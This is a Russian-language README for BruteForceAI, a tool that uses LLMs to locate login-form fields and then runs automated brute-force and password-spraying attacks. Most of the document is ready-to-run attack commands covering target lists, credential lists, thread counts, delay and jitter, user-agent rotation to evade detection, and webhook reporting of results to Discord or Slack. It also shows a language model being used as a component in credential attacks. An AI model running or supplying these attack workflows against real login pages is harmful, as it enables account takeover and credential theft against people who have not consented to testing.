
Инструмент для брутфорса на базе продвинутых LLM, объединяющий возможности искусственного интеллекта с автоматизированными атаками на вход
Продвинутый инструмент для брутфорса на базе LLM, объединяющий интеллект ИИ с автоматизированными атаками на формы входа
Возможности • Установка • Использование • Примеры • Конфигурация • Лицензия
BruteForceAI — это продвинутый инструмент для тестирования на проникновение, который революционизирует традиционные атаки методом перебора, интегрируя большие языковые модели (LLM) для интеллектуального анализа форм. Инструмент автоматически определяет селекторы форм входа с помощью ИИ, а затем выполняет сложные многопоточные атаки с поведением, имитирующим человека.
# Python 3.8 or higher
python --version
Изолируйте зависимости от системного Python с помощью встроенного модуля venv:
# 1. Create a virtual environment
python -m venv .venv
# 2. Activate it
# Windows (PowerShell):
.venv\Scripts\Activate.ps1
# Windows (cmd):
.venv\Scripts\activate.bat
# macOS / Linux:
source .venv/bin/activate
Примечание: Шаг
python -m venv .venvнужен только один раз. В каждом новом сеансе терминала повторно выполняйте команду активации (шаг 2) перед использованием инструмента. Чтобы выйти из виртуального окружения, выполнитеdeactivate.
# Install Python packages
pip install -r requirements.txt
# Install the Playwright browser
playwright install chromium
Необходимые пакеты:
playwright — автоматизация браузераrequests — HTTP-запросыPyYAML — разбор YAML для проверки обновлений# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b
--llm-provider groq --llm-api-key YOUR_KEYOllama (локальная):
llama3.2:3b — по умолчанию, хороший баланс скорости и качестваllama3.2:1b — самая быстрая, меньшая модель для быстрого анализаqwen2.5:3b — альтернатива с хорошей производительностьюGroq (облачная):
llama-3.3-70b-versatile — по умолчанию и лучшая — новейшая модель с превосходным качеством (1 попытка)llama3-70b-8192 — быстрая и надёжная альтернатива (1 попытка)gemma2-9b-it — облегчённый вариант, подходит для простых форм (1 попытка)llama-3.1-8b-instant — ⚠️ Не рекомендуется (проблемы с ограничением частоты запросов, 3+ попытки)# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama
python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10
python BruteForceAI.py <command> [options]
analyze — анализ форм входа с помощью LLMattack — выполнение атак методом перебораclean-db — очистка таблиц базы данныхcheck-updates — проверка обновлений программного обеспечения# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txt
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10